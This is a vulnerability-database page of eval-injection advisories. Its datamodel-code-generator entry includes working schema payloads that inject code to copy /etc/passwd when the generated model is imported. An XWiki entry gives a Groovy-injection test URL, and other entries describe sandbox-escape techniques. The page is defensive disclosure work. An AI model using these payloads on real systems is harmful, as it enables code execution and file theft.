GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-95

Allowed

Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

332 vulnerabilities reference this CWE, most recent first.

GHSA-5578-W22F-PFX9

Vulnerability from github – Published: 2026-07-28 21:40 – Updated: 2026-07-28 21:40
VLAI
Summary
datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements
Details

Summary

A malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that imports the generated model. The x-python-import and customTypePath schema extensions flow, unsanitized, into the import statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the from … import … line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content–driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates /etc/passwd). It survives the v0.61.0 security release that fixed the related x-python-type, default_factory, GraphQL-union-description, and validators sinks those fixes did not cover this sibling path.

Details

The sink is Import.from_full_path and Imports.create_line:

  • src/datamodel_code_generator/imports.py:35 — from_full_path() only does class_path.split(".") and preserves every other character, including newlines: python @classmethod @lru_cache def from_full_path(cls, class_path: str) -> Import: split_class_path: list[str] = class_path.split(".") return cls(import_=split_class_path[-1], from_=".".join(split_class_path[:-1]) or None)
  • src/datamodel_code_generator/imports.py:64 — create_line() renders the result verbatim: python def create_line(self, from_: str | None, imports: set[str]) -> str: if from_: return f"from {from_} import {', '.join(self._set_alias(from_, imports))}" return "\n".join(f"import {i}" for i in self._set_alias(from_, imports))

There is no check that the path segments are Python identifiers, contrast validators._validate_dotted_python_identifier_path, which the same v0.61.0 release added for the validators config, and types.is_python_type_annotation, added for x-python-type. The two extensions below were left unguarded.

Two schema-controlled, default-config entry points reach this sink:

  1. x-python-import — src/datamodel_code_generator/parser/jsonschema.py:1851-1858 (get_ref_data_type): python x_python_import = ref_schema.extras.get("x-python-import") if isinstance(x_python_import, dict): module = x_python_import.get("module") type_name = x_python_import.get("name") if module and type_name: full_path = f"{module}.{type_name}" import_ = Import.from_full_path(full_path) self.imports.append(import_)
  2. customTypePath — declared at src/datamodel_code_generator/parser/jsonschema.py:438, consumed at :4118 and :4365 via get_data_type_from_full_path(custom_type_path, is_custom_type=True) → the same Import.from_full_path sink.

Mechanism. With name = "getcwd\nprint(...)", full_path = "os.getcwd\nprint(...)". from_full_path splits only on ., so (provided the injected statement contains no .) it yields from_="os" and import_="getcwd\nprint(...)". create_line then emits:

from os import getcwd
print(...)        # ← attacker statement at module scope, executes on import

The dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. print(*open('/etc/passwd'), file=open('/tmp/loot','w'), sep='', end='') reads and exfiltrates a file using no .).

None of the six v0.61.0 fix commits (aec47bc4, b73abb5c, 17fc235e, 2c93c9b7, a43d0290, 5fdba4a0) touched x-python-import, customTypePath, or imports.py; imports.py was last modified ~5 months before the release. This is therefore an incomplete fix: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.

PoC

Self contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b

Default invocation, no special flags, on the patched release (commit 227ffe85ee2dcfc79336fbb14ad64c02a166b65a, v0.61.0).

payload_a.json:

{
  "type": "object",
  "title": "Root",
  "required": ["f"],
  "properties": { "f": { "$ref": "#/$defs/Evil" } },
  "$defs": {
    "Evil": {
      "type": "object",
      "x-python-import": {
        "module": "os",
        "name": "getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_xpi_loot','w'),sep='',end='')"
      }
    }
  }
}

Generate and import:

datamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py
python -c "import model"

Generated model.py (verbatim, the breakout sits at module scope):

from __future__ import annotations

from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from os import getcwd

print(*open('/etc/passwd'), file=open('/tmp/dmcg_xpi_loot', 'w'), sep='', end='')
from pydantic import BaseModel
...

Importing model reads /etc/passwd and writes an exact copy to /tmp/dmcg_xpi_loot:

$ head -1 /tmp/dmcg_xpi_loot
root:x:0:0:root:/root:/bin/bash

Confirmed under both the default output (pydantic v1) and --output-model-type pydantic_v2.BaseModel. The customTypePath variant reproduces identically:

{ "type":"object","title":"Root","required":["f"],
  "properties":{ "f":{ "type":"object",
    "customTypePath":"os.getcwd\nprint(*open('/etc/passwd'),file=open('/tmp/dmcg_ctp_loot','w'),sep='',end='')" }}}

A benign control (x-python-import: {"module":"decimal","name":"Decimal"}) produces clean from decimal import Decimal and no execution. A complete self-contained validation harness, run.sh plus control.json, payload_a.json, payload_b.json, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).

Suggested fix. Validate every dotted segment of module, name, and customTypePath as a Python identifier before building the import (reuse validators._validate_dotted_python_identifier_path), and/or reject non-identifier paths centrally inside Import.from_full_path.

Impact

Arbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker's code with the importing process's privileges. The PoC demonstrates arbitrary local file read (/etc/passwd); the same primitive yields full RCE.

Maintainer status

Confirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1

Fix summary: validate x-python-import and customTypePath values as dotted Python identifier paths before using them in generated imports or type paths.

Release status: not fixed in 0.63.0; customTypePath was introduced in 0.11.6, so affected versions are >= 0.11.6, <= 0.63.0. This advisory should remain unpublished until the private PR is merged and a patched release is available.

Validation: uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py passed locally; uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py passed.

Submitted by: Hamza Haroon (thegr1ffyn)

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.63.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "datamodel-code-generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.11.6"
            },
            {
              "fixed": "0.64.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T21:40:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "#### Summary\n\nA malicious input schema (OpenAPI / JSON Schema) can execute arbitrary Python code on the machine that **imports** the generated model. The `x-python-import` and `customTypePath` schema extensions flow, unsanitized, into the `import` statements datamodel-code-generator emits. A newline embedded in the extension value breaks out of the `from \u2026 import \u2026` line and injects an attacker-controlled statement at module scope, which runs at import time. This is an unauthenticated, schema-content\u2013driven remote code execution against any consumer of the generated code (e.g. arbitrary file read,the PoC exfiltrates `/etc/passwd`). It survives the v0.61.0 security release that fixed the related `x-python-type`, `default_factory`, GraphQL-union-description, and `validators` sinks  those fixes did not cover this sibling path.\n\n#### Details\n\nThe sink is `Import.from_full_path` and `Imports.create_line`:\n\n- `src/datamodel_code_generator/imports.py:35` \u2014 `from_full_path()` only does `class_path.split(\".\")` and preserves every other character, **including newlines**:\n  ```python\n  @classmethod\n  @lru_cache\n  def from_full_path(cls, class_path: str) -\u003e Import:\n      split_class_path: list[str] = class_path.split(\".\")\n      return cls(import_=split_class_path[-1], from_=\".\".join(split_class_path[:-1]) or None)\n  ```\n- `src/datamodel_code_generator/imports.py:64` \u2014 `create_line()` renders the result verbatim:\n  ```python\n  def create_line(self, from_: str | None, imports: set[str]) -\u003e str:\n      if from_:\n          return f\"from {from_} import {\u0027, \u0027.join(self._set_alias(from_, imports))}\"\n      return \"\\n\".join(f\"import {i}\" for i in self._set_alias(from_, imports))\n  ```\n\nThere is no check that the path segments are Python identifiers, contrast `validators._validate_dotted_python_identifier_path`, which the same v0.61.0 release added for the `validators` config, and `types.is_python_type_annotation`, added for `x-python-type`. The two extensions below were left unguarded.\n\nTwo schema-controlled, **default-config** entry points reach this sink:\n\n1. **`x-python-import`** \u2014 `src/datamodel_code_generator/parser/jsonschema.py:1851-1858` (`get_ref_data_type`):\n   ```python\n   x_python_import = ref_schema.extras.get(\"x-python-import\")\n   if isinstance(x_python_import, dict):\n       module = x_python_import.get(\"module\")\n       type_name = x_python_import.get(\"name\")\n       if module and type_name:\n           full_path = f\"{module}.{type_name}\"\n           import_ = Import.from_full_path(full_path)\n           self.imports.append(import_)\n   ```\n2. **`customTypePath`** \u2014 declared at `src/datamodel_code_generator/parser/jsonschema.py:438`, consumed at `:4118` and `:4365` via `get_data_type_from_full_path(custom_type_path, is_custom_type=True)` \u2192 the same `Import.from_full_path` sink.\n\n**Mechanism.** With `name = \"getcwd\\nprint(...)\"`, `full_path = \"os.getcwd\\nprint(...)\"`. `from_full_path` splits only on `.`, so (provided the injected statement contains no `.`) it yields `from_=\"os\"` and `import_=\"getcwd\\nprint(...)\"`. `create_line` then emits:\n```python\nfrom os import getcwd\nprint(...)        # \u2190 attacker statement at module scope, executes on import\n```\nThe dot-split is the only constraint on the payload; it is trivially satisfied with attribute-free builtins (e.g. `print(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/loot\u0027,\u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)` reads and exfiltrates a file using no `.`).\n\nNone of the six v0.61.0 fix commits (`aec47bc4`, `b73abb5c`, `17fc235e`, `2c93c9b7`, `a43d0290`, `5fdba4a0`) touched `x-python-import`, `customTypePath`, or `imports.py`; `imports.py` was last modified ~5 months before the release. This is therefore an **incomplete fix**: the maintainer hardened sibling schema-controlled type/extension sinks but missed these two paths into the same import-generation code.\n\n#### PoC\nSelf contained POC available here: https://gist.github.com/thegr1ffyn/c3abb41bb89c164daa0d5f2c60b5328b\n\nDefault invocation, no special flags, on the patched release (commit `227ffe85ee2dcfc79336fbb14ad64c02a166b65a`, v0.61.0).\n\n`payload_a.json`:\n```json\n{\n  \"type\": \"object\",\n  \"title\": \"Root\",\n  \"required\": [\"f\"],\n  \"properties\": { \"f\": { \"$ref\": \"#/$defs/Evil\" } },\n  \"$defs\": {\n    \"Evil\": {\n      \"type\": \"object\",\n      \"x-python-import\": {\n        \"module\": \"os\",\n        \"name\": \"getcwd\\nprint(*open(\u0027/etc/passwd\u0027),file=open(\u0027/tmp/dmcg_xpi_loot\u0027,\u0027w\u0027),sep=\u0027\u0027,end=\u0027\u0027)\"\n      }\n    }\n  }\n}\n```\nGenerate and import:\n```bash\ndatamodel-codegen --input payload_a.json --input-file-type jsonschema --output model.py\npython -c \"import model\"\n```\nGenerated `model.py` (verbatim, the breakout sits at module scope):\n```python\nfrom __future__ import annotations\n\nfrom os import getcwd\n\nprint(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/dmcg_xpi_loot\u0027, \u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)\nfrom os import getcwd\n\nprint(*open(\u0027/etc/passwd\u0027), file=open(\u0027/tmp/dmcg_xpi_loot\u0027, \u0027w\u0027), sep=\u0027\u0027, end=\u0027\u0027)\nfrom pydantic import BaseModel\n...\n```\nImporting `model` reads `/etc/passwd` and writes an exact copy to `/tmp/dmcg_xpi_loot`:\n```\n$ head -1 /tmp/dmcg_xpi_loot\nroot:x:0:0:root:/root:/bin/bash\n```\nConfirmed under both the default output (pydantic v1) and `--output-model-type pydantic_v2.BaseModel`. The `customTypePath` variant reproduces identically:\n```json\n{ \"type\":\"object\",\"title\":\"Root\",\"required\":[\"f\"],\n  \"properties\":{ \"f\":{ \"type\":\"object\",\n    \"customTypePath\":\"os.getcwd\\nprint(*open(\u0027/etc/passwd\u0027),file=open(\u0027/tmp/dmcg_ctp_loot\u0027,\u0027w\u0027),sep=\u0027\u0027,end=\u0027\u0027)\" }}}\n```\nA benign control (`x-python-import: {\"module\":\"decimal\",\"name\":\"Decimal\"}`) produces clean `from decimal import Decimal` and no execution. A complete self-contained validation harness, `run.sh` plus `control.json`, `payload_a.json`, `payload_b.json`, is included alongside this advisory (CONTROL clean + three payloads firing + verdict + cleanup).\n\n**Suggested fix.** Validate every dotted segment of `module`, `name`, and `customTypePath` as a Python identifier before building the import (reuse `validators._validate_dotted_python_identifier_path`), and/or reject non-identifier paths centrally inside `Import.from_full_path`.\n\n#### Impact\n\nArbitrary code execution at model-import time, driven by attacker-controlled schema content under the default configuration. Anyone who runs datamodel-code-generator on an untrusted or third-party schema, multi-tenant code-generation services, CI pipelines that ingest external specs, or a developer generating models from a public/vendor OpenAPI/JSON-Schema document, and then imports (or whose tooling imports) the generated module, executes the attacker\u0027s code with the importing process\u0027s privileges. The PoC demonstrates arbitrary local file read (`/etc/passwd`); the same primitive yields full RCE.\n\n### Maintainer status\n\nConfirmed by maintainer review and regression tests. A private fix PR is open and should be merged before publishing this advisory: https://github.com/koxudaxi/datamodel-code-generator-ghsa-5578-w22f-pfx9/pull/1\n\nFix summary: validate `x-python-import` and `customTypePath` values as dotted Python identifier paths before using them in generated imports or type paths.\n\nRelease status: not fixed in `0.63.0`; `customTypePath` was introduced in `0.11.6`, so affected versions are `\u003e= 0.11.6, \u003c= 0.63.0`. This advisory should remain unpublished until the private PR is merged and a patched release is available.\n\nValidation: `uv run --group test --extra http pytest tests/main/jsonschema/test_main_jsonschema.py tests/parser/test_jsonschema.py` passed locally; `uv run --group fix ruff check src/datamodel_code_generator/parser/jsonschema.py tests/main/jsonschema/test_main_jsonschema.py` passed.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-5578-w22f-pfx9",
  "modified": "2026-07-28T21:40:20Z",
  "published": "2026-07-28T21:40:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/security/advisories/GHSA-5578-w22f-pfx9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/commit/577d49569c2254c371a97e495020ae2238a73b84"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/koxudaxi/datamodel-code-generator"
    },
    {
      "type": "WEB",
      "url": "https://github.com/koxudaxi/datamodel-code-generator/releases/tag/0.64.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "datamodel-code-generator vulnerable to code injection via `x-python-import` / `customTypePath` in generated import statements"
}

GHSA-56H4-P63W-W4WM

Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-08-13 12:31
VLAI
Details

Flowise before 3.1.3 contains a sandbox escape vulnerability in the vm2 JavaScript sandbox that allows authenticated users to execute arbitrary code by exploiting moment locale validation bypass. Attackers can craft a fake String object with a match function that bypasses path traversal checks to load and execute malicious JavaScript files stored in the document store outside the sandbox.

Severity
9.0 (Critical)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-73602"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T12:17:24Z",
    "severity": "CRITICAL"
  },
  "details": "Flowise before 3.1.3 contains a sandbox escape vulnerability in the vm2 JavaScript sandbox that allows authenticated users to execute arbitrary code by exploiting moment locale validation bypass. Attackers can craft a fake String object with a match function that bypasses path traversal checks to load and execute malicious JavaScript files stored in the document store outside the sandbox.",
  "id": "GHSA-56h4-p63w-w4wm",
  "modified": "2026-08-13T12:31:10Z",
  "published": "2026-08-13T12:31:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-rqh4-rxw3-93rp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73602"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/4211bfc8f15746be4019bba557e29a7ba83d54c5"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/flowise-before-sandbox-escape-to-rce"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5CP4-G2W4-GM8P

Vulnerability from github – Published: 2026-08-17 12:32 – Updated: 2026-08-18 15:31
VLAI
Details

openssl_encrypt versions before 1.4.0 contain a sandbox escape vulnerability in IsolatedPluginExecutor that exposes Python type objects in restricted exec() builtins. Attackers can traverse the Python class hierarchy via class.mro.subclasses() to access system functions and execute arbitrary OS commands.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-74899"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-17T11:16:44Z",
    "severity": "CRITICAL"
  },
  "details": "openssl_encrypt versions before 1.4.0 contain a sandbox escape vulnerability in IsolatedPluginExecutor that exposes Python type objects in restricted exec() builtins. Attackers can traverse the Python class hierarchy via __class__.__mro__.__subclasses__() to access system functions and execute arbitrary OS commands.",
  "id": "GHSA-5cp4-g2w4-gm8p",
  "modified": "2026-08-18T15:31:29Z",
  "published": "2026-08-17T12:32:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jahlives/openssl_encrypt/security/advisories/GHSA-m25m-ggxg-239c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-43jx-gxq4-jpjc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74899"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openssl-encrypt-before-sandbox-escape-via-type-hierarchy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5GQP-C836-45CR

Vulnerability from github – Published: 2026-04-08 18:34 – Updated: 2026-04-08 18:34
VLAI
Details

An eval() injection vulnerability in the Rapid7 Insight Agent beaconing logic for Linux versions could theoretically allow an attacker to achieve remote code execution as root via a crafted beacon response. Because the Agent uses mutual TLS (mTLS) to verify commands from the Rapid7 Platform, it is unlikely that the eval() function could be exploited remotely without prior, highly privileged access to the backend platform.

Severity
6.6 (Medium)
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-4837"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T17:21:24Z",
    "severity": "MODERATE"
  },
  "details": "An eval() injection vulnerability in the Rapid7 Insight Agent beaconing logic for Linux versions could theoretically allow an attacker to achieve remote code execution as root via a crafted beacon response. Because the Agent uses mutual TLS (mTLS) to verify commands from the Rapid7 Platform, it is unlikely that the eval() function could be exploited remotely without prior, highly privileged access to the backend platform.",
  "id": "GHSA-5gqp-c836-45cr",
  "modified": "2026-04-08T18:34:07Z",
  "published": "2026-04-08T18:34:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4837"
    },
    {
      "type": "WEB",
      "url": "https://docs.rapid7.com/insight/release-notes-2026-april/#improvements-and-fixes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5J7G-CF6R-G2H7

Vulnerability from github – Published: 2022-11-21 22:36 – Updated: 2022-11-21 22:36
VLAI
Summary
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') in xwiki-platform-icon-ui
Details

Impact

Any user with view rights on commonly accessible documents including the icon picker macro can execute arbitrary Groovy, Python or Velocity code in XWiki due to improper neutralization of the macro parameters of the icon picker macro.

The URL <server>/xwiki/bin/view/Main?sheet=CKEditor.HTMLConverter&language=en&sourceSyntax=xwiki%252F2.1&stripHTMLEnvelope=true&fromHTML=false&toHTML=true&text=%7B%7BiconPicker%20id%3D%22'%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerId%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%20class%3D%22'%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerClass%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%2F%7D%7D demonstrates the issue (replace <server> by the URL to your XWiki installation). If the output HellofromIconPickerId or HellofromIconPickerClass is visible, the XWiki installation is vulnerable (normally, all output should be contained in a script-tag and thus invisible).

Patches

The problem has been patched in XWiki 13.10.7, 14.5 and 14.4.2.

Workarounds

The patch can be manually applied by editing IconThemesCode.IconPickerMacro in the object editor. The whole document can also be replaced by the current version by importing the document from the XAR archive of a fixed version as the only changes to the document have been security fixes and small formatting changes.

References

  • https://github.com/xwiki/xwiki-platform/commit/47eb8a5fba550f477944eb6da8ca91b87eaf1d01
  • https://jira.xwiki.org/browse/XWIKI-19805

For more information

If you have any questions or comments about this advisory: * Open an issue in Jira XWiki.org * Email us at Security Mailing List

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-icon-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.4-milestone-2"
            },
            {
              "fixed": "13.10.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.xwiki.platform:xwiki-platform-icon-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "14.0.0"
            },
            {
              "fixed": "14.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-41931"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-11-21T22:36:34Z",
    "nvd_published_at": "2022-11-23T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAny user with view rights on commonly accessible documents including the icon picker macro can execute arbitrary Groovy, Python or Velocity code in XWiki due to improper neutralization of the macro parameters of the icon picker macro.\n\nThe URL `\u003cserver\u003e/xwiki/bin/view/Main?sheet=CKEditor.HTMLConverter\u0026language=en\u0026sourceSyntax=xwiki%252F2.1\u0026stripHTMLEnvelope=true\u0026fromHTML=false\u0026toHTML=true\u0026text=%7B%7BiconPicker%20id%3D%22\u0027%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerId%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%20class%3D%22\u0027%3C%2Fscript%3E%7B%7B%2Fhtml%7D%7D%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dprintln(%2FHellofromIconPickerClass%2F)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D%22%2F%7D%7D` demonstrates the issue (replace `\u003cserver\u003e` by the URL to your XWiki installation). If the output `HellofromIconPickerId` or `HellofromIconPickerClass` is visible, the XWiki installation is vulnerable (normally, all output should be contained in a script-tag and thus invisible).\n\n### Patches\n\nThe problem has been patched in XWiki 13.10.7, 14.5 and 14.4.2.\n\n### Workarounds\n\nThe [patch](https://github.com/xwiki/xwiki-platform/commit/47eb8a5fba550f477944eb6da8ca91b87eaf1d01) can be manually applied by editing `IconThemesCode.IconPickerMacro` in the object editor. The whole document can also be replaced by the current version by importing the document from the XAR archive of a fixed version as the only changes to the document have been security fixes and small formatting changes.\n\n### References\n* https://github.com/xwiki/xwiki-platform/commit/47eb8a5fba550f477944eb6da8ca91b87eaf1d01\n* https://jira.xwiki.org/browse/XWIKI-19805\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki.org](https://jira.xwiki.org/)\n* Email us at [Security Mailing List](mailto:security@xwiki.org)\n",
  "id": "GHSA-5j7g-cf6r-g2h7",
  "modified": "2022-11-21T22:36:34Z",
  "published": "2022-11-21T22:36:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-5j7g-cf6r-g2h7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41931"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xwiki/xwiki-platform/commit/47eb8a5fba550f477944eb6da8ca91b87eaf1d01"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xwiki/xwiki-platform"
    },
    {
      "type": "WEB",
      "url": "https://jira.xwiki.org/browse/XWIKI-19805"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Neutralization of Directives in Dynamically Evaluated Code (\u0027Eval Injection\u0027) in xwiki-platform-icon-ui"
}

GHSA-5JRJ-52X8-M64H

Vulnerability from github – Published: 2024-04-25 19:50 – Updated: 2025-01-21 17:53
VLAI
Summary
vyper performs multiple eval of `sqrt()` argument built in
Details

Summary

Using the sqrt builtin can result in multiple eval evaluation of side effects when the argument has side-effects. The bug is more difficult (but not impossible!) to trigger as of 0.3.4, when the unique symbol fence was introduced (https://github.com/vyperlang/vyper/pull/2914).

A contract search was performed and no vulnerable contracts were found in production.

Details

It can be seen that the build_IR function of the sqrt builtin doesn't cache the argument to the stack: https://github.com/vyperlang/vyper/blob/4595938734d9988f8e46e8df38049ae0559abedb/vyper/builtins/functions.py#L2151

As such, it can be evaluated multiple times (instead of retrieving the value from the stack).

PoC

With at least Vyper version 0.2.15+commit.6e7dba7 the following contract:

c: uint256

@internal
def some_decimal() -> decimal:
    self.c += 1
    return 1.0

@external
def foo() -> uint256:
    k: decimal = sqrt(self.some_decimal())
    return self.c

passes the following test:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.13;

import "../../lib/ds-test/test.sol";
import "../../lib/utils/Console.sol";
import "../../lib/utils/VyperDeployer.sol";

import "../ITest.sol";

contract ConTest is DSTest {
    VyperDeployer vyperDeployer = new VyperDeployer();

    ITest t;

    function setUp() public {
        t = ITest(vyperDeployer.deployContract("Test"));
    }

    function testFoo() public {
        uint256 val = t.foo();
        console.log(val);
        assert (val == 4);
    }
}

Patches

Patched in https://github.com/vyperlang/vyper/pull/3976.

Impact

No vulnerable production contracts were found.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "vyper"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-32649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-25T19:50:16Z",
    "nvd_published_at": "2024-04-25T18:15:09Z",
    "severity": "MODERATE"
  },
